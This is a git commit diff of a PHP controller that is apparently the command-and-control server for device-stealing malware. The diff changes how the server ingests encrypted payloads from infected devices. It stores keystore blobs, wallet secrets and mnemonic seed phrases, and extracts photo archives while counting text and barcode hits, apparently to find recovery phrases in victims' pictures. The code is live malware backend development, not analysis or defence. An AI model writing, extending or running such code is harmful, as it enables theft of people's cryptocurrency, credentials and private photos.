This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
+20 -15
View File
@@ -68,11 +68,7 @@ class C2Controller extends Controller
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload);
// keystore-ish blobs
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
$this->ingest->ingestWalletSecrets($device, $payload);
}
$this->ingest->ingestKeystore($device, $payload);
}
return $this->encryptedAck();
@@ -94,7 +90,7 @@ class C2Controller extends Controller
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestWalletSecrets($device, $payload);
$this->ingest->ingestMnemonic($device, $payload);
}
return $this->encryptedAck();
@@ -130,13 +126,16 @@ class C2Controller extends Controller
$batchBase = '0';
}
$counters = [
'count' => $request->input('count'),
'total' => $request->input('total'),
'index' => $request->input('index'),
'batchBase' => $batchBase,
'ts' => $request->input('ts'),
'x-hit' => $request->input('x-hit'),
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
@@ -147,7 +146,7 @@ class C2Controller extends Controller
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'check_extract',
@@ -159,7 +158,13 @@ class C2Controller extends Controller
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'counters' => $counters,
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}